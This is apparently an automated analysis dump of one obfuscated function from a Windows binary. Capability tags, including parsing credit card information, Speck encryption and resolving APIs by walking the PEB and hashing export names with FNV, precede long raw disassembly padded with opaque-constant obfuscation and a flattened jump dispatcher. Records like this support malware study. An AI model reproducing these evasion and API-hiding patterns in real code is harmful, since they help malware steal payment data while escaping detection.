Function at 0x1400daf94
Capabilities:
Access peb ldr_data
Authenticate hmac
Encrypt data using speck
Get number of processors
Hash data using fnv
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0xe089e1c2
pushf
not eax
add eax, 0x9f807c38
xor eax, 0xb47aab28
rol eax, 0x29
popf
pushf
not eax
add eax, 0xe6cddbc5
xor eax, 0x9f74dfdd
rol eax, 0x57
popf
pushf
not eax
add eax, 0xc0bb6db2
xor eax, 0x8792ddb2
rol eax, 0x71
popf
cmp eax, 0x29
jne 0x1400dafe4
popf
pop rax
jmp 0x1400dccda
cmp eax, 0x48
jne 0x1400daff3
popf
pop rax
jmp 0x1400ddc37
cmp eax, 0x3f
jne 0x1400db002
popf
pop rax
jmp 0x1400dd800
cmp eax, 1
jne 0x1400db011
popf
pop rax
jmp 0x1400db5bb
cmp eax, 0xd
jne 0x1400db020
popf
pop rax
jmp 0x1400dbd2c
cmp eax, 0x1a
jne 0x1400db02f
popf
pop rax
jmp 0x1400dc475
cmp eax, 0x44
jne 0x1400db03e
popf
pop rax
jmp 0x1400dda12
cmp eax, 0x31
jne 0x1400db04d
popf
pop rax
jmp 0x1400dd14b
cmp eax, 0x40
jne 0x1400db05c
popf
pop rax
jmp 0x1400dd884
cmp eax, 8
jne 0x1400db06b
popf
pop rax
jmp 0x1400db9f9
cmp eax, 0x2a
jne 0x1400db07a
popf
pop rax
jmp 0x1400dcd58
cmp eax, 0x17
jne 0x1400db089
popf
pop rax
jmp 0x1400dc323
cmp eax, 0x1c
jne 0x1400db098
popf
pop rax
jmp 0x1400dc50b
cmp eax, 0x2e
jne 0x1400db0a7
popf
pop rax
jmp 0x1400dcf80
cmp eax, 0x18
jne 0x1400db0b6
popf
pop rax
jmp 0x1400dc36d
cmp eax, 0x2b
jne 0x1400db0c5
popf
pop rax
jmp 0x1400dcdd6
cmp eax, 0x1b
jne 0x1400db0d4
popf
pop rax
jmp 0x1400dc4be
cmp eax, 0x2d
jne 0x1400db0e3
popf
pop rax
jmp 0x1400dceeb
cmp eax, 0x23
jne 0x1400db0f2
popf
pop rax
jmp 0x1400dc95f
cmp eax, 0x25
jne 0x1400db101
popf
pop rax
jmp 0x1400dcab4
cmp eax, 0x43
jne 0x1400db110
popf
pop rax
jmp 0x1400dd9b4
cmp eax, 0x13
jne 0x1400db11f
popf
pop rax
jmp 0x1400dc0be
cmp eax, 0x33
jne 0x1400db12e
popf
pop rax
jmp 0x1400dd274
cmp eax, 0x24
jne 0x1400db13d
popf
pop rax
jmp 0x1400dca2e
cmp eax, 0x1e
jne 0x1400db14c
popf
pop rax
jmp 0x1400dc64b
cmp eax, 0xc
jne 0x1400db15b
popf
pop rax
jmp 0x1400dbc64
cmp eax, 0x26
jne 0x1400db16a
popf
pop rax
jmp 0x1400dcb11
cmp eax, 0x27
jne 0x1400db179
popf
pop rax
jmp 0x1400dcbde
cmp eax, 0x30
jne 0x1400db188
popf
pop rax
jmp 0x1400dd0a9
cmp eax, 0x10
jne 0x1400db197
popf
pop rax
jmp 0x1400dbeac
cmp eax, 0x37
jne 0x1400db1a6
popf
pop rax
jmp 0x1400dd422
cmp eax, 9
jne 0x1400db1b5
popf
pop rax
jmp 0x1400dbab8
cmp eax, 0x39
jne 0x1400db1c4
popf
pop rax
jmp 0x1400dd594
cmp eax, 0x16
jne 0x1400db1d3
popf
pop rax
jmp 0x1400dc26b
cmp eax, 0x3b
jne 0x1400db1e2
popf
pop rax
jmp 0x1400dd6c4
cmp eax, 0xa
jne 0x1400db1f1
popf
pop rax
jmp 0x1400dbb02
cmp eax, 0x36
jne 0x1400db200
popf
pop rax
jmp 0x1400dd3ec
cmp eax, 0x14
jne 0x1400db20f
popf
pop rax
jmp 0x1400dc0f9
cmp eax, 0x46
jne 0x1400db21e
popf
pop rax
jmp 0x1400ddb48
cmp eax, 0x3d
jne 0x1400db22d
popf
pop rax
jmp 0x1400dd77a
cmp eax, 2
jne 0x1400db23c
popf
pop rax
jmp 0x1400db674
cmp eax, 0x47
jne 0x1400db24b
popf
pop rax
jmp 0x1400ddbea
cmp eax, 0x41
jne 0x1400db25a
popf
pop rax
jmp 0x1400dd8fe
cmp eax, 0x11
jne 0x1400db269
popf
pop rax
jmp 0x1400dbf63
cmp eax, 0x35
jne 0x1400db278
popf
pop rax
jmp 0x1400dd355
cmp eax, 0x3a
jne 0x1400db287
popf
pop rax
jmp 0x1400dd5ce
cmp eax, 0x12
jne 0x1400db296
popf
pop rax
jmp 0x1400dbff8
cmp eax, 0x21
jne 0x1400db2a5
popf
pop rax
jmp 0x1400dc805
cmp eax, 0x38
jne 0x1400db2b4
popf
pop rax
jmp 0x1400dd482
cmp eax, 0xb
jne 0x1400db2c3
popf
pop rax
jmp 0x1400dbc30
cmp eax, 0xf
jne 0x1400db2d2
popf
pop rax
jmp 0x1400dbe74
cmp eax, 0x15
jne 0x1400db2e1
popf
pop rax
jmp 0x1400dc1c1
cmp eax, 5
jne 0x1400db2f0
popf
pop rax
jmp 0x1400db809
cmp eax, 6
jne 0x1400db2ff
popf
pop rax
jmp 0x1400db896
cmp eax, 0x22
jne 0x1400db30e
popf
pop rax
jmp 0x1400dc8cb
cmp eax, 0x49
jne 0x1400db31d
popf
pop rax
jmp 0x1400ddc82
cmp eax, 0x1f
jne 0x1400db32c
popf
pop rax
jmp 0x1400dc6c1
cmp eax, 4
jne 0x1400db33b
popf
pop rax
jmp 0x1400db7d4
cmp eax, 0x2f
jne 0x1400db34a
popf
pop rax
jmp 0x1400dd06e
cmp eax, 0x28
jne 0x1400db359
popf
pop rax
jmp 0x1400dcc38
cmp eax, 0x3e
jne 0x1400db368
popf
pop rax
jmp 0x1400dd7b4
cmp eax, 0x45
jne 0x1400db377
popf
pop rax
jmp 0x1400ddabb
cmp eax, 0x2c
jne 0x1400db386
popf
pop rax
jmp 0x1400dce0e
cmp eax, 3
jne 0x1400db395
popf
pop rax
jmp 0x1400db6ea
cmp eax, 0x19
jne 0x1400db3a4
popf
pop rax
jmp 0x1400dc3de
cmp eax, 0x1d
jne 0x1400db3b3
popf
pop rax
jmp 0x1400dc5be
cmp eax, 0x34
jne 0x1400db3c2
popf
pop rax
jmp 0x1400dd2be
cmp eax, 0x32
jne 0x1400db3d1
popf
pop rax
jmp 0x1400dd1cf
cmp eax, 0xe
jne 0x1400db3e0
popf
pop rax
jmp 0x1400dbdd0
cmp eax, 0x42
jne 0x1400db3ef
popf
pop rax
jmp 0x1400dd97a
cmp eax, 7
jne 0x1400db3fe
popf
pop rax
jmp 0x1400db93d
cmp eax, 0x20
jne 0x1400db40d
popf
pop rax
jmp 0x1400dc7aa
cmp eax, 0
jne 0x1400db41c
popf
pop rax
jmp 0x1400db42b
cmp eax, 0x3c
jne 0x1400db42b
popf
pop rax
jmp 0x1400dd764
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xfd0]
mov eax, 0xb054c4d0
pushf
not eax
add eax, 0x931df806
xor eax, 0xae1c83a5
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xb5fa47c5
xor eax, 0xfcc8528d
rol eax, 0xd1
popf
pushf
not eax
add eax, 0x97105b0a
xor eax, 0xdeda1019
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xbcc05a12
xor eax, 0xccaf5cdf
rol eax, 0xd2
popf
call fcn.1401099a6
sub rsp, rax
mov r13, rdx
movsd xmm0, qword [str._OMNVTfJK_JI9]
movsd qword [rsp + 0x20], xmm0
mov eax, dword [0x140032388]
mov dword [rsp + 0x28], eax
movzx eax, byte [0x14003238c]
mov byte [rsp + 0x2c], al
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x20]
call fcn.14004a4b5
xorps xmm5, xmm5
movups xmmword [rsp + 0x78], xmm5
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x78], xmm0
lea rcx, [rsp + 0x20]
call fcn.14006921f
mov r8, rax
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x78]
call fcn.1400ed668
nop
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x68]
call fcn.1400f2a12
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.140051c8a
nop
mov r10, qword [0x140040388]
test r10, r10
jne 0x1400db562
push rax
pushf
mov eax, 0x25e2063d
pushf
not eax
add eax, 0xea6a97eb
xor eax, 0xe3f99e53
rol eax, 0x98
popf
pushf
not eax
add eax, 0x8fbfd2bb
xor eax, 0x919861bb
rol eax, 0x5c
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0xbd6b51e5
pushf
not eax
add eax, 0xc6d2b527
xor eax, 0x8b5593a3
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xb021b80a
xor eax, 0xade1f6e2
rol eax, 0xd8
popf
pushf
not eax
add eax, 0x8a9ddfc4
xor eax, 0xd417a460
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xebae3c01
xor eax, 0xdf245311
rol eax, 0xb0
popf
jmp 0x1400dafd5
xor ebx, ebx
mov r11d, 0xfe50e02b
pushf
not r11d
add r11d, 0xc96e4aa0
xor r11d, 0xd7836553
rol r11d, 0xc4
popf
pushf
not r11d
add r11d, 0xe66a8eee
xor r11d, 0xbbf86d69
rol r11d, 0x69
popf
pushf
not r11d
add r11d, 0x80816d25
xor r11d, 0x97da2969
rol r11d, 0x55
popf
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop word [rax + rax]
push rax
pushf
mov eax, 0xdebf7673
pushf
not eax
add eax, 0xd16c6b8b
xor eax, 0xfdfcaaa2
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xd27a556a
xor eax, 0xcfba40e8
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xc7bc2d77
xor eax, 0xbe302e4c
rol eax, 0x4d
popf
jmp 0x1400dafd5
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test ebx, ebx
je 0x1400db6b7
push rax
pushf
mov eax, 0x5cefa92
pushf
not eax
add eax, 0xc844ed21
xor eax, 0xe946dadf
rol eax, 0xa2
popf
pushf
not eax
add eax, 0x90fb8d86
xor eax, 0xe22eec41
rol eax, 0x27
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x1bc12870
pushf
not eax
add eax, 0xd12d025b
xor eax, 0xcb80a469
rol eax, 0x89
popf
pushf
not eax
add eax, 0xba5cacdb
xor eax, 0xe37da5dd
rol eax, 0x8e
popf
jmp 0x1400dafd5
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0xf4a0aba2
pushf
not edx
add edx, 0xf8593d7c
xor edx, 0x9b492cf2
rol edx, 0xb4
popf
pushf
not edx
add edx, 0xbf216e76
xor edx, 0xe62d73f7
rol edx, 0x10
popf
pushf
not edx
add edx, 0xc283be69
xor edx, 0x861bad3d
rol edx, 1
popf
pushf
not edx
add edx, 0xb308961e
xor edx, 0x805f5a55
rol edx, 0x68
popf
cmp rcx, r8
je 0x1400db7a1
push rax
pushf
mov eax, 0x671724ae
pushf
not eax
add eax, 0xb996efd6
xor eax, 0xbcad2e24
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xab176d1b
xor eax, 0x8a07203c
rol eax, 0x72
popf
pushf
not eax
add eax, 0xcac5d469
xor eax, 0xccd2c2a1
rol eax, 0xa4
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0xd3315781
pushf
not eax
add eax, 0x8e9877c3
xor eax, 0x92af0661
rol eax, 0x19
popf
pushf
not eax
add eax, 0xe29f12f9
xor eax, 0xa24b82a0
rol eax, 0xff
popf
jmp 0x1400dafd5
nop
push rax
pushf
mov eax, 0x639a7d7a
pushf
not eax
add eax, 0xcb0afcd0
xor eax, 0x93688958
rol eax, 0xd5
popf
pushf
not eax
add eax, 0x89f794ea
xor eax, 0xc83851cb
rol eax, 0xf2
popf
jmp 0x1400dafd5
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400db863
push rax
pushf
mov eax, 0x428d68ef
pushf
not eax
add eax, 0xe16de1fb
xor eax, 0xc7c93df8
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xb790d0c1
xor eax, 0x8065f673
rol eax, 0x23
popf
pushf
not eax
add eax, 0xeb4c0358
xor eax, 0xde6d8347
rol eax, 0xd5
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x3a5968ef
pushf
not eax
add eax, 0xb87831a9
xor eax, 0xd9f07848
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xcd27a8e9
xor eax, 0x86f2ab12
rol eax, 0x85
popf
jmp 0x1400dafd5
cmp edx, ebx
jne 0x1400db8e4
push rax
pushf
mov eax, 0x94dfad7d
pushf
not eax
add eax, 0x952e88d2
xor eax, 0x87f6348d
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xf20dfc60
xor eax, 0xef053843
rol eax, 0x10
popf
pushf
not eax
add eax, 0xa57ba3ec
xor eax, 0xbf6c75d8
rol eax, 0x2d
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x13f4bb78
pushf
not eax
add eax, 0xe5fc038d
xor eax, 0xb83747f7
rol eax, 0xa6
popf
pushf
not eax
add eax, 0x93ff5968
xor eax, 0xfcbd247f
rol eax, 0x70
popf
pushf
not eax
add eax, 0xffdd5829
xor eax, 0xf4498bfe
rol eax, 0x33
popf
pushf
not eax
add eax, 0x9fceaee4
xor eax, 0xe6ec35c5
rol eax, 0xd9
popf
jmp 0x1400dafd5
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
shr r15, 0x20
mov edi, ecx
push r9
not r9
sub rdi, r9
pop r9
sub rdi, 1
cmp rdi, r9
je 0x1400db9c6
push rax
pushf
mov eax, 0x842209e4
pushf
not eax
add eax, 0xc62685e7
xor eax, 0xb04aba0d
rol eax, 0x13
popf
pushf
not eax
add eax, 0xdd44e1da
xor eax, 0x9e10a71a
rol eax, 0x60
popf
pushf
not eax
add eax, 0x82e215d7
xor eax, 0xb2bf5fb6
rol eax, 0x3c
popf
pushf
not eax
add eax, 0x87e4712c
xor eax, 0xc9b919fd
rol eax, 0x56
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0xaa460c7
pushf
not eax
add eax, 0xf0927a84
xor eax, 0xdb008b71
rol eax, 0xa9
popf
pushf
not eax
add eax, 0x96c74aca
xor eax, 0xb9a1b34c
rol eax, 0x7b
popf
jmp 0x1400dafd5
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x1400dba5f
push rax
pushf
mov eax, 0xccd99045
pushf
not eax
add eax, 0xad40b379
xor eax, 0x82e98341
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xd71b91f9
xor eax, 0xcef8aba3
rol eax, 0x94
popf
pushf
not eax
add eax, 0x908e5650
xor eax, 0xe2aa1489
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xdea2beb5
xor eax, 0xf7699ccc
rol eax, 6
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0xe537eeef
pushf
not eax
add eax, 0x9d16668c
xor eax, 0x82279ba7
rol eax, 0xff
popf
pushf
not eax
add eax, 0xf953f3a0
xor eax, 0xf5cf0e07
rol eax, 0xc
popf
pushf
not eax
add eax, 0x8aa017a3
xor eax, 0xeb625d6d
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xb38a2f65
xor eax, 0xa38a27de
rol eax, 0xb7
popf
jmp 0x1400dafd5
mov r14d, dword [rdi + 0x20]
push rax
pushf
mov eax, 0x4d25678
pushf
not eax
add eax, 0xbe2851b6
xor eax, 0x9fa9afc4
rol eax, 0x73
popf
pushf
not eax
add eax, 0x95957974
xor eax, 0xb4d2fd2f
rol eax, 0x16
popf
pushf
not eax
add eax, 0xcd02858d
xor eax, 0x9d6c6ddd
rol eax, 0x55
popf
jmp 0x1400dafd5
dec r8d
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r9]
push r9
not r9
sub rcx, r9
pop r9
sub rcx, 1
mov edx, 0x2e86dcde
pushf
not edx
add edx, 0x84609fe3
xor edx, 0xd55afc4c
rol edx, 0x8b
popf
pushf
not edx
add edx, 0x8d338b5e
xor edx, 0xfffc286f
rol edx, 0xaf
popf
pushf
not edx
add edx, 0x9197761d
xor edx, 0x820281e6
rol edx, 0x16
popf
pushf
not edx
add edx, 0xae77140f
xor edx, 0xdb2e74a1
rol edx, 0x42
popf
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400dbbd7
push rax
pushf
mov eax, 0x5a9be983
pushf
not eax
add eax, 0xcd7fa392
xor eax, 0xdf52c754
rol eax, 0xd8
popf
pushf
not eax
add eax, 0x8849de03
xor eax, 0xeabd5411
rol eax, 0x23
popf
pushf
not eax
add eax, 0xffdda249
xor eax, 0x8cbf96ed
rol eax, 6
popf
pushf
not eax
add eax, 0xf520efa3
xor eax, 0xd98e1bd5
rol eax, 0x21
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0xfff88702
pushf
not eax
add eax, 0xc6e625f3
xor eax, 0xff42ba0c
rol eax, 0xef
popf
pushf
not eax
add eax, 0xdf0f8f0d
xor eax, 0x83e73f65
rol eax, 0x98
popf
pushf
not eax
add eax, 0xf9b1385f
xor eax, 0xde8b91a3
rol eax, 0xa7
popf
pushf
not eax
add eax, 0x92bb95d4
xor eax, 0xfd91bc99
rol eax, 0xa3
popf
jmp 0x1400dafd5
nop
push rax
pushf
mov eax, 0x1579e7e
pushf
not eax
add eax, 0xedabe992
xor eax, 0xf8b3fa25
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xde56396d
xor eax, 0xa0ccb8c5
rol eax, 0xd6
popf
jmp 0x1400dafd5
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x1400dbcd3
push rax
pushf
mov eax, 0xd9a29e77
pushf
not eax
add eax, 0xccc84d97
xor eax, 0xb88464b0
rol eax, 0x3e
popf
pushf
not eax
add eax, 0x8ee03e05
xor eax, 0xd3b7383a
rol eax, 0x90
popf
pushf
not eax
add eax, 0xf49251e6
xor eax, 0x8e7fc20f
rol eax, 0x6c
popf
pushf
not eax
add eax, 0xe1569f38
xor eax, 0xa69bf646
rol eax, 0x45
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x582d1fb1
pushf
not eax
add eax, 0xfee57063
xor eax, 0xc11ec024
rol eax, 0x13
popf
pushf
not eax
add eax, 0xe665210e
xor eax, 0xdfced7a2
rol eax, 0x29
popf
pushf
not eax
add eax, 0xa446cdf0
xor eax, 0xac5ec1ba
rol eax, 0x76
popf
pushf
not eax
add eax, 0x82b0064d
xor eax, 0x9069a387
rol eax, 0xf9
popf
jmp 0x1400dafd5
cmp edx, r11d
je 0x1400dbd8a
push rax
pushf
mov eax, 0x9d769762
pushf
not eax
add eax, 0xafcb0ad8
xor eax, 0xae5bd942
rol eax, 6
popf
pushf
not eax
add eax, 0xa61995d5
xor eax, 0xbd3a733d
rol eax, 0x68
popf
pushf
not eax
add eax, 0xc687e18e
xor eax, 0xce0f1ffb
rol eax, 0x55
popf
pushf
not eax
add eax, 0xa0442d5a
xor eax, 0xf59449d7
rol eax, 0x26
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x15d4a2f5
pushf
not eax
add eax, 0xec7fe9f7
xor eax, 0xd461dd3a
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xdb223ea3
xor eax, 0xdaaa8be3
rol eax, 0xbf
popf
pushf
not eax
add eax, 0x9b39686b
xor eax, 0xa41ced61
rol eax, 0x75
popf
jmp 0x1400dafd5
test r8d, r8d
jne 0x1400dbe1b
push rax
pushf
mov eax, 0xe55034a0
pushf
not eax
add eax, 0xd076fcb4
xor eax, 0xfec4acc7
rol eax, 0xae
popf
pushf
not eax
add eax, 0xebe4ae30
xor eax, 0xab3c1f21
rol eax, 0x5b
popf
pushf
not eax
add eax, 0x850e7a4f
xor eax, 0xf141dc92
rol eax, 0xc6
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x38a9b6e0
pushf
not eax
add eax, 0xac2c702b
xor eax, 0xe0ea9b3f
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xcff1d376
xor eax, 0xbc3a975f
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xdbf339ab
xor eax, 0xcac75dba
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xdb0c1ba3
xor eax, 0xb817d4be
rol eax, 0x44
popf
jmp 0x1400dafd5
jmp 0x1400dc36d
mov ecx, dword [rdi + 0x1c]
push r9
not r9
sub rcx, r9
pop r9
sub rcx, 1
mov eax, dword [rdi + 0x24]
push r9
not r9
sub rax, r9
pop r9
sub rax, 1
movzx eax, word [rax + r8*2]
mov r10d, dword [rcx + rax*4]
push r9
not r9
sub r10, r9
pop r9
sub r10, 1
cmp r10, rdi
jbe 0x1400dbf30
push rax
pushf
mov eax, 0x4baecdee
pushf
not eax
add eax, 0xed0dd6ae
xor eax, 0xd559262b
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xde3c4691
xor eax, 0xd0aa1e70
rol eax, 0xbe
popf
pushf
not eax
add eax, 0x9256c59f
xor eax, 0xdcf29c78
rol eax, 0xc8
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x5f7ab412
pushf
not eax
add eax, 0xca7a946b
xor eax, 0xb1257582
rol eax, 0xb
popf
pushf
not eax
add eax, 0xc0c6406e
xor eax, 0xec175f8f
rol eax, 0xd7
popf
jmp 0x1400dafd5
lea rax, [r15 + rdi]
cmp r10, rax
jae 0x1400dbfb2
push rax
pushf
mov eax, 0xc1704f5e
pushf
not eax
add eax, 0xc5e76257
xor eax, 0xf7fa5cb4
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xda1a0150
xor eax, 0xc5a5ec63
rol eax, 0x94
popf
pushf
not eax
add eax, 0xbbfbf2e3
xor eax, 0xb8035bf9
rol eax, 0xc2
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x813876d4
pushf
not eax
add eax, 0xe3dd42a5
xor eax, 0xc5414795
rol eax, 0x2d
popf
pushf
not eax
add eax, 0x9f4568b8
xor eax, 0xe079d57b
rol eax, 4
popf
pushf
not eax
add eax, 0x8ecbe028
xor eax, 0xb2197427
rol eax, 0x2e
popf
jmp 0x1400dafd5
mov ebx, 0x313c0e43
pushf
not ebx
add ebx, 0xf642b754
xor ebx, 0xd1b51e75
rol ebx, 3
popf
pushf
not ebx
add ebx, 0x8d3a39f7
xor ebx, 0xf1fe0dc8
rol ebx, 0x87
popf
mov r11d, ebx
movzx eax, byte [r10]
cmp al, 0x2e
je 0x1400dc078
push rax
pushf
mov eax, 0x755aa163
pushf
not eax
add eax, 0xb1244b72
xor eax, 0x90dc304b
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xbafb1bb7
xor eax, 0x943f9a41
rol eax, 0x23
popf
pushf
not eax
add eax, 0xb17b10ce
xor eax, 0xd2aa7b49
rol eax, 0x56
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x7f36f19
pushf
not eax
add eax, 0xa7aea97e
xor eax, 0x994255ee
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xc14ed241
xor eax, 0xcaac0150
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xcfa37b0c
xor eax, 0xaa69992e
rol eax, 0xb8
popf
jmp 0x1400dafd5
nop dword [rax + rax]
push rax
pushf
mov eax, 0x6fddd9cd
pushf
not eax
add eax, 0xc35787c8
xor eax, 0xd3dd016f
rol eax, 0x89
popf
pushf
not eax
add eax, 0xe816007b
xor eax, 0x9ebcd5d9
rol eax, 0xfd
popf
jmp 0x1400dafd5
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc r10
movzx eax, byte [r10]
cmp al, 0x2e
jne 0x1400dc168
push rax
pushf
mov eax, 0x4d812cd1
pushf
not eax
add eax, 0x87e8ce08
xor eax, 0xb3a659de
rol eax, 0xfc
popf
pushf
not eax
add eax, 0xf49401ca
xor eax, 0xc8f88e4d
rol eax, 0x75
popf
pushf
not eax
add eax, 0x89ffc2f2
xor eax, 0xf18347f8
rol eax, 0xc8
popf
pushf
not eax
add eax, 0x95d98e99
xor eax, 0xed98928e
rol eax, 0xcf
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x442c205f
pushf
not eax
add eax, 0xb2ce612c
xor eax, 0xa6885de6
rol eax, 0x73
popf
pushf
not eax
add eax, 0xbaf0dcde
xor eax, 0x9a4c76c4
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xca860f6c
xor eax, 0xc72093d8
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xdfd0dda1
xor eax, 0xc3134930
rol eax, 0x65
popf
jmp 0x1400dafd5
inc r10
movzx eax, byte [r10]
test al, al
je 0x1400dc212
push rax
pushf
mov eax, 0x38e7614
pushf
not eax
add eax, 0xe69ece45
xor eax, 0xf58db5e1
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xe4ea994e
xor eax, 0x9cf7523d
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xdcabf3ab
xor eax, 0x885278be
rol eax, 0xb3
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0xa54c9151
pushf
not eax
add eax, 0x8c47d78d
xor eax, 0xd8ebbb2a
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xcc73fa4c
xor eax, 0xa8326463
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xd66e61c3
xor eax, 0x915cc7d7
rol eax, 0xe
popf
pushf
not eax
add eax, 0xf1e7bd7f
xor eax, 0xf80b7031
rol eax, 0xc1
popf
jmp 0x1400dafd5
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
lea r10, [r10 + 1]
movzx eax, byte [r10]
test al, al
jne 0x1400dc2dd
push rax
pushf
mov eax, 0x19123ba3
pushf
not eax
add eax, 0x8e3b7c05
xor eax, 0xe92b4c07
rol eax, 0x10
popf
pushf
not eax
add eax, 0xebecd161
xor eax, 0xed59e587
rol eax, 0x1d
popf
pushf
not eax
add eax, 0x8fbaa89b
xor eax, 0xd14fed89
rol eax, 0x67
popf
pushf
not eax
add eax, 0x91effae2
xor eax, 0x894dd185
rol eax, 0x77
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0xd149e05d
pushf
not eax
add eax, 0xc7524d1d
xor eax, 0xd0dc89df
rol eax, 0xb3
popf
pushf
not eax
add eax, 0xd674e56e
xor eax, 0xa24bc66e
rol eax, 0xa7
popf
pushf
not eax
add eax, 0x9a5fc955
xor eax, 0xfe2ef550
rol eax, 0xb2
popf
jmp 0x1400dafd5
mov rsi, qword [r12]
push rax
pushf
mov eax, 0x537a98d4
pushf
not eax
add eax, 0xb2f431b8
xor eax, 0x846780dd
rol eax, 0x59
popf
pushf
not eax
add eax, 0xa034667f
xor eax, 0xe15715d5
rol eax, 0x83
popf
pushf
not eax
add eax, 0xe23909c3
xor eax, 0xc8ef0c84
rol eax, 0xde
popf
jmp 0x1400dafd5
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x1400dc3ab
push rax
pushf
mov eax, 0xa3540ead
pushf
not eax
add eax, 0x94b786d8
xor eax, 0x9ebdcb89
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xb2faa4c6
xor eax, 0xd2070156
rol eax, 0x4a
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0xde60b57b
pushf
not eax
add eax, 0xaeef5676
xor eax, 0xa8eeca02
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xc3c8d3a6
xor eax, 0xb4bcf246
rol eax, 0x17
popf
jmp 0x1400dafd5
cmp qword [rax + 0x30], 0
jne 0x1400dc442
push rax
pushf
mov eax, 0x7c852dd
pushf
not eax
add eax, 0x99085a92
xor eax, 0x92024161
rol eax, 0xea
popf
pushf
not eax
add eax, 0xa5baa9ce
xor eax, 0xea08695d
rol eax, 0x55
popf
pushf
not eax
add eax, 0x8938e585
xor eax, 0xb74ff87a
rol eax, 0x82
popf
pushf
not eax
add eax, 0xbd7bb368
xor eax, 0xb26407fe
rol eax, 0x5f
popf
jmp 0x1400dafd5
push rax
pushf
mov eax, 0x41faddf8
pushf
not eax
add eax, 0xd4f5b171
xor eax, 0xc8826ac6
rol eax, 0x95
popf
pushf
not eax
add eax, 0xe0d6c06b
xor eax, 0xa90b7053
rol eax, 0x59
popf
jmp 0x1400dafd5
xor r10d, r10d
push rax
pushf
mov eax, 0xf7781245
pushf
not eax
add eax, 0xc65e4b24
xor eax, 0xcda31372
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xb3300ee0
xor eax, 0x8847d191
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xc053a238
xor eax, 0xa8dea0c5
rol eax, 0xe3
popf
jmp 0x1400dafd5
mov qword [0x140040388], r10
push rax
pushf
mov eax, 0x902d560e
pushf
not eax
add eax, 0xaa0477f6
xor eax, 0xc2f4c398
rol eax, 2
popf
pushf
not eax
add eax, 0xd2e87921
xor eax, 0x98c6a1a6
rol eax, 0x9e
popf
pushf
not eax
add eax, 0x8160b52e
xor eax, 0x8181218c
rol eax, 0xcf
popf
jmp 0x1400dafd5
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rdx, qword [rsp + 0x30]
xor r9d, r9d
mov r8d, dword [rsp + 0x40]
